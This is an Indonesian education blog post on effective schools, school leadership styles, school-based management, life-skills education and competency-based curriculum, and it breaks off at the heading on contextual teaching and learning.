Cari Blog Ini

Jumat, 20 Februari 2009

fungsi esensial dan kontekstual pendidikan

Oleh : JONI UKAT, S.Pd., MM

Belajar bukan konsep independent yang hanya dilakukan oleh siswa secara sepihak tetapi merupakan interaksi dengan lingkungan dan berbagai daya dukung yang lain.Asas penting dan menjadi landasan bergerak dalam pengelolaan pendidikan menuju sekolah efektif adalah pernyataan bahwa “Semua Anak Dapat Belajar”. Hal ini mengisaratkan pada kita bahwa sekolah merupakan wahana yang menyediakan tempat yang terbaik bagi anak untuk belajar, a place for better learning. Artinya,semua upaya manajemen dan kepemimpinan yang terjadi disekolah diarahkan bagi usaha membuat seluruh peserta didik belajar.

Apabila mencari relevansi lain sehubungan dengan pernyataan diatas maka definisi taylor (1990) tentang sekolah efektif cukup sepaham sebagai sekolah yang mengorganiasikan dan memanfaatkan semua sumberdaya yang dimiliki untuk menjamin semua siswa tanpa memandang ras, jenis kelamin maupun status social ekonomi bisa mempelajari materi kurikulum yang esensial di sekolah.

Belajar bukan konsep independent yang hanya dilakukan oleh siswa secara sepihak tetapi merupakan interaksi dengan lingkungan dan berbagai daya dukung yang lain. Dengan demikian efektifitas belajar bukan hanya menilai hasil belajar siswa, tetapi semua upaya yang menyebabkan anak belajar .

Artinya kualifikasi guru dan personil lainya/pegawa, kinerja guru, kepemimpinan, kebijakan sekolah, iklim sekolah budaya yang berkembang, hubungan dengan masyarakat, layanan penunjang siswa belajar seperti ekstrakurikuler, perpustakaan sarana-prasarana, labotatorium, dan sebagainya menjadi indicator yang turut menentukan evektifitas belajar, dengan efektifitas belajar maka sekolah tersebut dikatakan efektif.

Walaupun belajar bisa terkesan sederhana dengan mengartikan dari tidak tahu menjadi tahu atau tidak mengerti menjadi mengerti, tetapi pemaknaanya jauh lebih dalam dan penilaiannya jauh lebih kompleks karena kita tidak hanya dapat melihat hasil belajar secara kognisi saja, tetapi banyak kemampuan lain yang yang harus diungkap seiring dengan pengertian belajar sebagai pembentukan makna, atau dalam kajian praktisi adalah terjadi pemikiran yang dilakukan siswa takkala mendapat suatu konsep sehingga apa yang didengar, dilihat dan dikerjakannya disekolah bermakna bagai kehidupan siswa setidaknya siswa turut berfikir secara iklas tentangf topic belajar.

Dengan demikian hasil ujian siswa, hanya mewakili sebagian kecil kemampuan siswa karna yang dikatakan bermakna tidak sekedar percakapan atau logika yang dapat diturutkan tetapi kemampuan lain yang mereflesikan kehidupan, seperti sikap , ketrampilam, kepribadian moral dan etika.

Esensi yang terkandung dalam paragraph diatas adalah fungsi sekolah sebagai tempat belajar yang memiliki otoritas untuk menyelenggarakan pengalaman pembelajaran yang bermutu bagi peserta didik. Tempat belajar atau dimaknai sebagai suatu organisasi pendidikan memiliki bidang garapan tertentu, yaitu bidang kesiswaan, keguruan, kurikulum, sarana prasarana, keuanfgan, humas, kebijakan, pelayanan khusus seperti:BP/BK, perpustakaan, bengkel/laboratorium, unit produksi, kantin, koperasi dan ekstrakurikuler. Semua itu dikelola sebagai kebermanfaatan siswa belajar.

Dengan demikian sekolah efektif adalah sekolah yang menjalankan funsinya sebagai tempat belajar yang paling baik dengan menyediakan layanan pembelajaran yang bermutu bagai siswa/i. Hasil belajar yang memuaskan bagai semua pihak dengan komperhensifnya hasil belajar diperoleh siswa atau sekolah yang menunjukan tingkat kinerja yang diinginkan dalam penyelenggarakan proses belajar dengan menunjukan hasil belajar yang bermutu pada peserta didik sesuai dengan tujuan yang telah ditetapkan.

Efektifitas adala ukuran yang menyatakan sejauh mana sasaran atau tujuan (kualitas, kuantitas dan waktu) telah dicapai. Dalam bentuk persamaan efektifitas adalah sama dengan hasil nyata dibagi dengan hasil yang diharapkan. Sekolah efektif menunjukan kesesuaian antara hasil yang dicapai dengan hasil yang diharapkan. Abin (1999:11) menegaskan bahwa efektifitas sekolah pada dasarnya menunjukan tingkat kesesuaian antara hasil yang dicapai berupa achievements atau observed outputs dengan hasil yang diharapkan berupa Objectives, Targets dan intended outputs sebagai mana telah ditetapkan.

Prestasi menjadi tujuan sekolah. Sekolah Efektif adalah sekolah yang membuat prestasi, tidak saja pada siswa tetapi seluruh komponen yang melingkupinya. Namun indicator yang paling dominant adalah prestasi siswa sesuai dengan filosofi sekolah sebagai tempat belajar terbaik. Prestasi sebagai apa yang diinginkan sekolah pada setiap komponennya terlebih dahulu ditetapkan tujuan pada masing-masing komponen yang bias disebut sasaran atau target. Dengan demikian sekolah efektif adalah sekolah yang dapat mencapai target, dalam hal ini berupa prestasi.

Parameter untuk mencapai efektifitas dinyatakan sebagai angka nilai rasio antara jumlah hasil (lulusan, produk, jasa dan sebagainya) yang dicapai dalam kurun waktu tertentu dibandingkan dengan jumlah (unsur yang serupa) yang diproyeksikan atau ditargetkan dalam kurun waktu tertentu.

Efektifitas sekolah terkait pula dengan kualitas. Kualitas adalah gambaran dan karakteristik dari lulusan yang menunjukan kemampuannya atau kompetensinya dalam memuaskan kebutuhan yang ditentukan atau yang tersirat, misalnya nilai hasil ujian akhir, prestasi olahraga, karia tulis ilmiah dan prestasi pentas seni. Kualitas tamatan dipengaruhi oleh tahapan-tahapan kegiatan sekolah yang saling berhubungan, yaitu perencanaan, pelaksanaan dan evaluasi.

Kualitas terkait dengan prestasi dan prestasi belajar siswa diidentifikasikan bukan hanya unggul dalam kecerdasan atau kemampuan akadermik, tetapi dimensi lain yang menjadi prasarat kehidupan, yaitu dimensi social, budaya politik dan ekonomi. Cheng (1996) mendefinisikan sekolah efektif sebagai sekolah yang memiliki kemampuan dalam menjalankan fungsinya secara maksimal, baik fungsi ekonomis, funsi social kemanusiaan, fungsi politis, fungsi budaya maupun fungsi pendidikan.

Fugnsi ekonomis sekolah adalah memberi bekal kepada siswa agar dapat melakukan aktifitas ekonomi sehingga dapat hidup sejastra. Fungsi social kemanusiaan adalah sekolah sebagai media bagai siswa untuk beradaptasi dengan kehidupan masyarakat.fungsi politis sekolah adalah sebagai wahana untuk memperoleh pengetahuan tentang hak dan kewajiban sebagai warga Negara maupun sebagai warga sekolah/selholder.

Fungsi budaya sekolah adalah media untuk melakutan transmisi dan transformasi budaya. Adapun fungsi pendidikan adalah sekolah sebagai wahana untuk proses pendewasaan dan pembentukan kepribadian siswa.

Efektifitas sekolah menunjukan adanya proses perekayasaan berbagai sumber dan metode yang diarahkan pada terjadinya pembelajaran di sekolah secara optimal. Efektifitas sekolah merujuk pada pemberdayaan semua komponen sekolah sebagai organisasi tempat belajar berdasarkan tugas pokok dan fungsi masing-masing dalam struktur program dengan tujuan agar siswa belajar dan mencapai hasil yang telah ditetapkan yaitu memiliki kompetensi cognitive, psikomotor dan afektif.

Pada sekolah efektif tidak hanya siswa yang memiliki kemampuan tinggi dalam belajar yang dapat mengembangkan diri, siswa yang memiliki inteletualitas yang biasa pun dapat mengembangkan dirinya sejauh mungkin, apalagi biasa dibandingkan dengan kondisi awal ketika mereka baru masuk sekolah. Mortimore(1991) mendefinisikan sekolah efektif sebagai”one in which students progress further than might be expected from a consideration of intake” .

Harapan ini sedikit berbeda dengan kenyataan yang memfokuskan efektifitas sekolah pada penguasaan intelektual yang tercermin dari nilai ujian akhir nasional (UAN), yang hanya melihat aspek intelektualitas, tanpa dapat mengukur hasil belajar siswa dalam kepribadian secara utuh yaitu penilaian sikap yang sampai saat ini belum dilakukan di sekolah-sekolah.

Untuk beberapa waktu yang lama, para pendidikan yang terkait dengan pendidikan/pendidikan formal sangat menikmati ukuran ini, walaupun telah disadari oleh pengelola pendidikan dan akademisi bahwa hasil pendidikan menjadi rancu apa bila hanya dinilai dengan UAN. Kenyataan ini semakin disadari sebagai anomaly yang mesti di luruskan dan kebijakan baru telah digulirkan melalui KBK dan estafetnya adalah KTSP yang operasionalisasinya diharapkan dapat menyentuh seluruh aspek kepribadian utuh siswa.

Sangat disadari bahwa hasil pendidikan tidak hanya ditunjukan pada aspek cognitive saja tetapi aspek yang membentuk kepribadian utuh pun seperti afektif dan psikomotor juga merupakan kompetensi yang harus dimiliki siswa. Siswa yang memiliki kepekaan social, empati terhadap orang lain, memiliki kepercayaan diri yang bagus, tenggang rasa, kesetia kawanan, sabar, iklas kreatif, dan sifat-sifat baik lainya, sangat diharapkan dimiliki siswa sebagai tumpuan harapan kita semua.

Maekenzie(1983:135) Dalam kajiannya tentang school culture menyinggung pengertian effective school sebagai berikut.The literature on school culture makes it clear that effektives school, that is school that demonstrate high standards of achievement in academics,have a culture characterized by a well-defined set of goals that all member of the school administration, faculty,and student-value and promote.

Komponen-komponen sekolah yang menjadi focus pemberdayaan dapat dipahami dengan pendekatan sekolah sebagai suatu sistim yaitu terdidri dari input-proses- output dan outcame.
Simpulan dari sekolah efektif yang dapat ditarik dari penjelasan-penjelasan diatas adalah sekolah yang mampu mengoptimalkan semua masukan dan proses demi tercapainya output pendidikan, yaitu prestasi sekolah, terutama prestasi siswa yang ditandai dengan dimilikinya semua kemampuan berupa kompetensi yang dipersaratkan di dalam belajar.

Optimalisasi masukan dan proses menunjukan adanya layanan pembelajaran optimal bagai kepentingan belajar. Layanan pembelajaran optimal didukung oleh berbagai sumber yang tersedia secara terpilih, metodologi yang tepat dan aktifitas-aktivitas yang beragam. Dengan demikian terdapat dua deminsi pokok efektifitas sekolah sebagai konsep output yaitu organisasi belajar sebagai representasi sinergitas layanan pembelajaran dan prestasi siswa sebagai representasi dari kemampuan atau kompetensi siswa.Untuk menjalankan optimalisasi membutuhkan pimpinan Transaksional,Trasfomasional dan Visioner.

Kepemipinan transaksional membutuhkan peranya sebagai manajer karena ia terlibat dalam aspek-aspek prosedural manajerial yang medodologis dan fisik. Oleh karena itu kepemimpinan transaksional dihadapkan pada orang-orang yang ingin memenuhi kebutuhan hidup dari segi pangan, sandang dan pagan. Pola hubungan yang dikembangkan dalam kepemimpinan ini adalah berdasarkan suatu sistim timbale balik (transaksi) yaitu pemimpin memahami memahami kebutuhan dasar dari bawahannya dan pemimpin menemukan penyelesaian atas cara kerja dari pengikutnya.

Pemimpin yang di maksut ialah kepalah sekolah dituntut untuk dapat mengetahui permasalahan-permasalahan para pengikutnya dalam hal ini hubunga kekeluargaan merupakan penopang keberhasilan dalam memimpin suatu lembaga pendidikan/sekolah.

Kepemimpinan transfomasional hadir untuk menjawab tantangan zaman yang penuh dengan peubahan. Zaman dimana manusia dapat mengeritik dan meminta yang layak dari apa yang diberikanyan secara kemanusiaan. Dalam terminology teori motivasi maslow, manusia di era ini adalah manusia memiliki keinginan mengaktualisasikan dirinya yang berimplikasi pada bentuk pelayanan dan penghargaan terhadap manusia itu sendiri.

Berdasarkan pemahaman kontekstual diatas maka kepala sekolah menjadikan bawahannya sebagai insan yang mengerti akan segala apa yang dibuat, bicaran dan dilasanakan atau menjadikan bawahan sebgai orang yang mengerti bukan patung saja bagi kepala sekolah.Dengan kata lain membutuhkan tansparansi dan akuntabilitas dalam memipin sekolah sehingga kInerja meningkat mutu di sekolahpun akan peningkat.

Kepemimpinan visioner adalah pemimpin yang memiliki visi, misi, tujuan dan program yang jelas sehinga menjadikannya sebagai suatu tantangan, dengan adanya tantangan ini maka pemimpin dituntut untuk memiliki integritas yang tinggi, komitmen yang tinggi terhadap visi, misi, tujuan dan program yang telah dirumuskan.

Pemimpin ini didasarkan pada jati diri banggsa yang bersumber dari nilai-nilai budaya dan agama serta mampu menantisipasi perubahan-perubahan yang terjadi di dunia pendidikan khususnya dan perubahan-perubahan diluar sekolah.

MBS, Life Skill, KBK, CTL, dan salingketerkaitannya

B. MANAJEMEN BERBASIS SEKOLAH (MBS)

1. Arti MBS

MBS adalah model pengelolaan sekolah yang mendasarkan pada kekhasan, karakteristik, kebolehan, kemampuan, kebutuhan sekolah dan bukannya perintah dari atasan. Dengan batasan seperti ini, maka MBS menjamin adanya keberbagaian/kebhinekaan/keberagaman dalam mengelola sekolah asal tetap dalam koridor kebijakan pendidikan nasional. Tidak ada lagi penekanan pada keseragaman/kenomotetikan, akan tetapi menjamin adanya keberagaman. Dengan definisi ini, maka sekolah harus diberi otonomi dan keluwesan-keluwesan yang lebih besar dalam mengelola sumberdaya pendidikan di sekolahnya. Mengingat MBS memberikan otonomi lebih besar, maka sekolah harus lebih mandiri. Dengan kemandirian ini, maka sekolah harus melibatkan warga sekolah dan masyarakat sekitarnya untuk mendukung penyelenggaraan pendidikan di sekolahnya karena ketergantungan terhadap pemerintah mulai berkurang. Ringkasnya, MBS merupakan peningkatan otonomi sekolah + keluwesan pengelolaan sumberdaya + partisipasi warga sekolah dan masyarakat sekitarnya dalam pengelolaan sekolah.

2. Asumsi MBS

Penerapan MBS dilandasi oleh asumsi-asumsi sebagai berikut: (1) pembaharuan (reformasi, restrukturisasi, revitalisasi, resistemisasi, rekonfigurasi, inovasi) yang direncanakan dan diimplementasikan secara terpusat sering tidak mampu memperbaiki inti kegiatan sekolah yaitu proses belajar mengajar; (2) sekolah membutuhkan dukungan sumberdaya pendidikan secara ajeg dan konsisten, tetapi pemerintah pusat, propinsi, dan bahkan kabupaten/kota tidak mampu memenuhi kebutuhan tersebut; (3) setiap sekolah memiliki kekhasan, keunikan, kebolehan, kemampuan, kebutuhan yang berbeda, dan potensinyapun juga berbeda antara satu sekolah dengan sekolah lainnya; (4) sekolah bukan sekadar subordinasi/pelaksana program-program dari atas, akan tetapi mereka merupakan gardan terdepan yang harus diberdayakan dalam perencanaan, pengambilan keputusan, dan pengelolaan secara mandiri; dan (5) sistem pendidikan harus akuntabel tidak saja kepada birokrasi dalam sistem pendidikan, akan tetapi justru kepada masyarakat luas yang dilayani (stakeholders). Dengan asumsi-asumsi tersebut, maka sudah seharusnya pembaruan dan pengelolaan pendidikan bergeser dari berbasis pemerintah pusat bergerak menuju berbasis sekolah, dimana MBS merupakan salah satunya. MPMBS sering disamakan dengan istilah-istilah School Based Management, Site Based Management, School Based Initiatives, Self-Managing School, dan Pengelolaan Berpusat Sekolah.

3. Tujuan MBS

Penerapan MBS ditujukan untuk meningkatkan kinerja sekolah melalui peningkatan: kemandirian, partisipasi warga sekolah dan masyarakat sekitarnya, keluwesan-keluwesan pengelolaan sumberdaya pendidikan, transparansi, akuntabilitas, kerjasama, kepedulian, tanggungjawab sekolah, pengambilan keputusan sesedekat mungkin dengan yang bakal kena dampak keputusan, inovasi dan relevansi pendidikan dengan kondisi lokal, dan pendanaan yang dihimpun dari masyarakat lokal. Kinerja sekolah yang dimaksud meliputi mutu/kualitas tamatan, efektivitas, produktivitas, efisiensi, inovasi, dan surplus pendanaan sekolah.


4. Pelaksanaan MBS

Agar MBS berhasil, maka upaya-upaya yang harus dilakukan dalam implementasi adalah sebagai berikut:

  1. Sekolah agar memperbanyak mitranya dan melibatkan mereka dalam penyelenggaraan sekolah, misalnya Komite Sekolah, Lembaga Swadaya Masyarakat, sektor swasta, pemimpin masyarakat, organisasi profesi, wakil pemerintah, dan orangtua siswa.
  2. Rumuskan kembali aturan main sekolah, peran unsur-unsur sekolah termasuk mitra sekolah, kebiasaan, hubungan antara bawahan-atasan, hubungan antara unsur dan mitra sekolah.
  3. Tingkatkan keterbukaan sekolah melalui peningkatan transparansi dalam pengelolaan, peningkatan komunikasi yang intens kepada masyarakat, buatlah sekolah menjadi sekolah masyarakat dan bukannya sekolah pemerintah yang di masyarakat, peningkatan akuntabilitas terhadap apa yang dikerjakan kepada masyarakat, dan penguatan hubungan sekolah-orangtua siswa-masyarakat.
  4. Bagi-bagi informasi dan pengalaman dan perkuat jaringan dalam dan lintas sistem sekolah.
  5. Klarifikasikan (tugas, rencana, program, limitasi/aturan main/ketentuan, pengendalian/tindakan turun tangan, dan kesan yang positif dari anak buah).
  6. Bangun kapasitas sekolah (perencanaan, sumberdaya manusia, kurikulum, kesiswaan, sarana dan prasarana, pendanaan, kepemimpinan, organisasi, administrasi, regulasi sekolah, sistem informasi sekolah, akuntabilitas, penelitian tindakan, dan hubungan sekolah-masyarakat (partisipasi).
  7. Sediakan informasi untuk (pengambilan keputusan, kebijakan, perencanaan, pemrograman, dan evaluasi.
  8. Buatlah rencana pengembangan sekolah yang dijiwai oleh MBS (otonomi, partisipasi, keterbukaan, akuntabilitas, kerjasama, dan sustainabilitas) yang isinya antara lain: (a) visi, misi, strategi, tujuan, dan sasaran, (b) identifikasikan urusan-urusan (fungsi-fungsi) sekolah yang diperlukan untuk mencapai setiap sasaran, (c) lakukan analisis SWOT untuk mengetahui tingkat kesiapan setiap faktor dalam setiap urusan/fungsi sekolah; (d) pilihlah langkah-langkah pemecahan persoalan, dan (e) buatkan rencana dan rincian program untuk merealisasikan rencana.
  9. Laksanakan MPMBS dan lakukan monitoring pelaksanaannya; dan.
  10. Evaluasilah dan buatlah rencana tindak lanjut dari hasil evaluasi tersebut.

5. Kesimpulan

MBS adalah pengelolaan sekolah berdasarkan kekhasan, keunikan, kebolehan, kebutuhan, dan kemampuan sekolah. Yakinkah MBS dapat meningkatkan mutu sekolah? Jawabannya tergantung setidaknya dua hal. Pertama, MBS adalah netral dan jika opini kita cenderung berhasil, maka MBS akan mampu meningkatkan mutu. Kedua, MBS hanyalah salah satu komponen sekolah sebagai sistem. Meskipun MBS dilaksanakan secara optimal, keberhasilannya juga sangat tergantung pada komponen-komponen yang lain dalam sekolah sebagai sistem.

C. PENDIDIKAN KECAKAPAN HIDUP (LIFE SKILLS EDUCATION)

1. Arti Pendidikan Kecakapan Hidup

Yang dimaksud dengan pendidikan kecakapan hidup adalah pendidikan kemampuan, kesanggupan, dan keterampilan yang diperlukan oleh seseorang untuk menjaga kelangsungan hidup dan pengembangan dirinya. Kemampuan mencakup daya pikir, daya kalbu, dan daya raga. Kesanggupan sangat dipengaruhi oleh kepentingan yaitu sesuatu yang dianggap penting oleh siapa dalam bentuk apa. Keterampilan adalah kecepatan, kecekatan, dan ketepatan. Orang yang terampil mengerjakan sesuatu adalah orang cepat, cekat, dan tepat dalam mengerjakan sesuatu.

2. Tujuan Pendidikan Kecakapan Hidup

Tujuan utama pendidikan kecakapan hidup adalah untuk meningkatkan relevansi pendidikan pendidikan dengan nilai-nilai kehidupan nyata, baik nilai yang bersifat preservatif maupun progresif. Tegasnya, tujuan pendidikan kecakapan hidup adalah mempersiapkan peserta didik agar memiliki kemampuan, kesanggupan, dan keterampilan yang diperlukan untuk menjaga kelangsungan hidup dan mengembangkan dirinya. Lebih spesifiknya, pendidikan kecakapan hidup bertujuan untuk: (1) memberdayakan aset kualitas batiniyah, sikap dan perbuatan lahiriyah peserta didik melalui pengenalan nilai (logos), penghayatan nilai (etos), dan penerapan nilai (patos) kehidupan sehari-hari sehingga dapat digunakan untuk menjaga kelangsungan hidup dan perkembangannya; (2) memberi bekal dasar dan latihan-latihan yang dilakukan secara benar mengenai kehidupan sehari-hari yang dapat memampukan peserta didik untuk berfungsi menghadapi masa depan yang sarat persaingan dan kolaborasi sekaligus; dan (3) memfasilitasi peserta didik dalam memecahkan permasalahan hidup yang dihadapi sehari-hari atau yang akan dihadapi, misal menjaga kesehatan mental dan pisik, mencari nafkah, dan memilih serta mengembangkan karir.

3. Jenis Kecakapan Hidup

Kecakapan hidup dapat dikategorikan menjadi dua yaitu kecakapan dasar dan kecakapan instrumental/fungsional. Kecakapan dasar adalah kecakapan yang bersifat universal dan merupakan fondasi/pilar bagi peserta didik untuk bisa mengembangkan kecakapan hidup yang bersifat instrumental/fungsional. Sedang kecakapan hidup yang bersifat instrumental adalah kecakapan yang bersifat kondisional dan dapat berubah-ubah sesuai dengan perubahan ruang, waktu, situasi, dan harus diperbarui secara terus menerus sesuai dengan derap perubahan. Meningat perubahan kehidupan berlangsung secara terus menerus, maka diperlukan kecakapan-kecakapan yang mutakhir, adaptif, dan antisipatif. Oleh karena itu prinsip belajar sekali selesai dan tidak perlu belajar lagi, sudah tidak relevan. Adapun kategori dimensi kecakapan hidup yang bersifat dasar dan instrumental yang dimaksud dapat dirinci sebagai berikut.

a. Kecakapan dasar

    1. Kecakapan belajar terus menerus.
    2. Kecakapan membaca, menulis, dan mendengar.
    3. Kecakapan berkomunikasi secara lisan, tertulis, tergambar, dan mendengar.
    4. Kecakapan berpikir induktif, deduktif, ilmiah, nalar, kritis, kreatif, lateral, eksploratif, diskoveri, dan berpikir sistem.
    5. Kecakapan kalbu: spiritual, emosional, rasa, moral, dsb.
    6. Kecakapan mengelola kesehatan badan.
    7. Kecakapan merumuskan kepentingan dan upaya-upaya yang diperlukan untuk memenuhinya, dan.
    8. Kecakapan berkeluarga dan bersosial.

b. Kecakapan instrumental/fungsional

    1. Kecakapan menggunakan dan memanfaatkan teknologi dalam kehidupan.
    2. Kecakapan mengelola sumber daya manusia dan sumber daya selebihnya (uang, peralatan, perlengkapan, bahan, dsb.).
    3. Kecakapan bekerjasama dengan orang lain.
    4. Kecakapan memanfaatkan informasi.
    5. Kecakapan menggunakan sistem dalam kehidupan.
    6. Kecakapan berwirausaha.
    7. Kecakapan keterampilan kejuruan, termasuk olahraga dan seni (citarasa).
    8. Kecakapan memilih, menyiapkan, dan mengembangkan karir.
    9. Kecakapan menjaga harmoni dengan lingkungan (pisik dan nirpisik).
    10. Kecakapan menyatukan bangsa berdasarkan nilai-nilai Pancasila.

4. Kesimpulan

Pendidikan kecakapan hidup adalah pendidikan kemampuan, kesanggupan, dan keterampilan yang diperlukan untuk menjalankan kehidupan dengan nikmat dan bahagia. Pada dasarnya, pendidikan kecakapan hidup adalah pendidikan yang memberi bekal dasar dan latihan-latihan yang dilakukan secara benar kepada peserta didik tentang nilai-nilai kehidupan sehari-hari agar yang bersangkutan mampu, sanggup, dan terampil menjalankan kehidupan. Kecakapan hidup dapat dikategorikan menjadi kecakapan dasar dan instrumental.


D. KURIKULUM BERBASIS KOMPETENSI (KBK)

Kurikulum berbasis kompetensi (KBK) merupakan bagian dari pendidikan berbasis kompetensi (PBK). Oleh karena itu, pembahasan KBK dalam makalah ini berada pada lingkup pembahasan PBK. Berturut-turut akan dibahas PBK secara singkat melalui sejumlah pertanyaan sebagai berikut.

1. Apakah yang Melatarbelakangi Penerapan Pendidikan Berbasis Kompetensi (PBK) ?

Pendidikan berbasis kompetensi (PBK) diterapkan untuk melengkapi kekurangan pendidikan konvensional saat ini yang kenyataannya cenderung memfokuskan pada penguasaan matapelajaran tanpa menyentuh secara nyata penerapannya bagi kehidupan dan hanya mendidik peserta didik untuk sekadar mengetahui sesuatu, belum sampai pada penghayatan, apa lagi sampai pada pengamalannya dalam kehidupan sehari-hari. Praktek pendidikan konvensional cenderung abstrak, tekstual, verbal, artificial, dan maya. Sementara itu, PBK cenderung lebih riil, aktual, konkret, nyata, dan menyentuh realitas.

2. Apakah Arti Pendidikan BerbasisKompetensi itu ?

Pendidikan Berbasis Kompetensi (PBK) adalah pendidikan yang mengacu pada standar kompetensi yang akan dicapai dan diperlukan oleh peserta didik. Setelah mengikuti PBK peserta didik akan mampu melakukan sesuatu. Jadi PBK tidak sekadar mendidik peserta didik untuk mengenal nilai (logos), tetapi juga mendidik mereka untuk menginternalisasikan nilai-nilai ke dalam hati nuraninya (etos), dan lebih dari itu peserta didik diharapkan dapat menerapkan nilai-nilai yang dipelajari ke dalam kehidupan sehari-hari (patos).

3. Apakah yang Dimaksud dengan Kompetensi ?

Yang dimaksud dengan kompetensi adalah kemampuan melakukan sesuatu yang berbeda dengan sekadar kemampuan mengetahui sesuatu. Kompetensi tersusun (merupakan peleburan) dari tiga unsur utama yaitu pengetahuan, keterampilan, dan sikap. Dengan demikian, orang yang kompeten adalah orang yang memiliki pengetahuan, keterampilan, dan sikap untuk melakukan/mengerjakan sesuatu.

4. Apakah Perbedaan antara Pendidikan Konvensional (PK) dan PBK

PK sangat berbeda dengan PBK. Perbedaan antara keduanya dapat dilihat pada Tabel 1 berikut.

Tabel 1. Perbedaan antara PK dan PBK

Pendidikan Konvensional (PK) Pendidikan Berbasis Kompetensi (PBK)
Berbasis Isi Berbasis Kompetensi
Berbasis Waktu Berbasis Kinerja
Kecepatan Kelompok Kecepatan Individu
Umpan Balik Tertunda Umpan Balik Seketika
Berbasis Textbook Berbasis Bahan Ajar yang Multimedia
Orientasi Matapelajaran Orientasi Moduler
Berbasis Ruang Kelas Berbasis Lapangan
Guru Fasilitator/Nara Sumber
Tujuan Umum Tujuan Spesifik
Kriteria Subyektif Kriteria Obyektif
Acuan Norma Acuan Kriteria

5. Sebutkan Karakteristik PBK

PBK memiliki karakteristik sebagai berikut: (1) kompetensi yang akan dicapai oleh peserta didik diidentifikasi berdasarkan apa yang peserta didik harus memahami dan mampu melakukan, (2) kriteria digunakan untuk menilai setiap kompetensi yang telah dirumuskan, (3) kurikulum (bahan ajar) dikembangkan berdasarkan standar kompetensi yang telah ditetapkan, (4) penilaian didasarkan standar kompetensi, dan (5) kemajuan belajar didasarkan atas pencapaian kompetensi.

6. PBK sebagai Sistem terdiri dari Komponen apa saja

PBK sebagai sistem tersusun dari rangkaian komponen-komponen yang saling terkait secara hirarkis sebagai berikut: (a) standar kompetensi, (b) kurikulum yang dikembangkan berdasarkan standar kompetensi dan disebut kurikulum berbasis kompetensi/KBK, (c) penyelenggaraan proses belajar mengajar yang mengacu pada KBK, (d) evaluasi berdasarkan standar kompetensi, dan (e) sertifikasi untuk menyatakan penguasaan kompetensi pada tingkat tertentu. Untuk lebih jelasnya, PBK sebagai sistem dapat dilihat pada Gambar 1 (Kerangka Pendidikan Berbasis Kompetensi).

a. Standar Kompetensi

Standar kompetensi adalah pernyataan tentang kompetensi yang harus dimiliki oleh peserta didik untuk melakukan/mengerjakan sesuatu sesuai dengan unjuk kerja yang dipersyaratkan. Lebih rincinya, standar kompetensi adalah pernyataan yang: (1) mendiskripsikan tugas dan fungsi, yang kemudian ditulis dalam bentuk kompetensi dan setiap kompetensi tersusun dari sejumlah sub-kompetensi, (2) mendiskripsikan kriteria/standar unjuk kerja (performance standard) dari setiap sub-kompetensi, (3) mendiskripsikan konteks dimana pekerjaan/tugas dilakukan dan memberikan pedoman tentang hal-hal yang dipersyaratkan untuk unjuk kerja, (4) mendiskripsikan pedoman untuk melakukan penilaian setiap sub-kompetensi, dan (5) mencakup kemampuan mengerjakan sesuatu, kemampuan mengorganisasikan sesuatu, kemampuan mengatasi masalah, dan kemampuan menyesuaikan diri terhadap lingkungan yang berbeda.

b. Kurikulum Berbasis Kompetensi

Kurikulum disusun berdasarkan atas kebutuhan untuk mencapai standar kompetensi (kurikulum berbasis kompetensi/KBK dan harus menjamin adanya artikulasi antar jenjang kompetensi. Dengan kata lain, bahan ajar yang disusun harus menampilkan sosok utuh standar kompetensi dan artikulasi antar jenjang standar kompetensi harus dijamin. Akan lebih baik jika semua bahan ajar dirancang dengan menggunakan sistem moduler (paket) sehingga keluwesan dan konsistensinya dapat dijamin. KBK merupakan komponen dari PBK (lihat Gambar 1).

Image

Gambar 1

Kerangka Pendidikan Berbasis Kompetensi

c. Penyelenggaraan Proses Belajar Mengajar

Penyelenggaraan proses belajar mengajar merupakan kunci implementasi PBK. Jika penyelenggaraan PBK tidak memenuhi persyaratan, maka sulit untuk mendapatkan hasil belajar yang sesuai dengan kompetensi yang telah ditetapkan. Hal utama yang harus diperhatikan dalam penyelenggaraan proses belajar mengajar adalah kesiapan input (intake/siswa dan masukan instrumental yaitu kurikulum, guru, strategi-metode-teknik pembelajaran dan pengajaran, media pendidikan, waktu, tempat, dsb.) yang diperlukan untuk penyelenggaraan proses belajar mengajar sehingga kejituan proses belajar mengajar dapat dilaksanakan. Pendekatan pembelajaran yang paling cocok untuk melaksanakan PBK antara lain mastery learning (belajar tuntas), learning by doing (belajar melalui kegiatan nyata), dan individualized learning (pembelajaran yang memperhatikan kemampuan peserta didik).

d. Evaluasi Berbasis Kompetensi

Evaluasi disusun dan dilaksanakan berdasarkan standar kompetensi. Evaluasi berdasarkan kompetensi adalah suatu proses penilaian/perbandingan kompetensi yang dicapai oleh peserta didik dengan standar kompetensi yang telah ditetapkan. Dari hasil evaluasi akan diperoleh informasi tentang tingkat ketercapaian kompetensi peserta didik. Besar kecilnya perbandingan kompetensi nyata yang dicapai peserta didik dibanding dengan kompetensi standar/baku akan menunjukkan tingkat efektivitas (catatan: efektivitas = hasil nyata dibagi hasil yang diharapkan.

e. Sertifikasi

Sertifikasi adalah proses pemberian sertifikat sebagai pengakuan terhadap kompetensi yang dicapai oleh peserta didik setelah mengikuti uji kompetensi.

7. Bagaimana Caranya Melaksanakan PBK

  1. Jabarkan standar kompetensi menjadi sub-sub kompetensi termasuk standar kinerjanya (indicator kinerja) untuk masing-masing sub kompetensi.
  2. Kembangkan silabus dan materi ajar yang benar-benar mengacu pada standar kompetensi/sub-sub kompetensi, rencanakan pengalaman belajarnya, alokasi waktunya, dan sumber bahannya.
  3. Kembangkan dan laksanakan proses belajar dan mengajar berdasarkan KBK dengan menggunakan pendekatan mastery learning, learning by doing, dan individualized learning.
  4. Rencanakan dan laksanakan evaluasi berdasarkan standar kompetensi (evaluasi otentik) termasuk didalamya jenis penilaian, jenis instrumen dan rumusan soalnya.
  5. Berikan sertifikat sebagai pengakuan terhadap kompetensi yang telah dicapai oleh peserta didik.

8. Kesimpulan

PBK sebagai pembaruan pendidikan memerlukan perubahan-perubahan secara utuh dan benar terhadap keseluruhan sekolah sebagai sistem, bukan perubahan secara parsial, apalagi parosial. Untuk itu, pendekatan system harus digunakan sebagai basis berpikir dalam melaksanakan PBK.


E. PEMBELAJARAN DAN PENGAJARAN KONTEKSTUAL (CONTEXTUAL TEACHING AND LEARNING/CTL)

1. Arti CTL

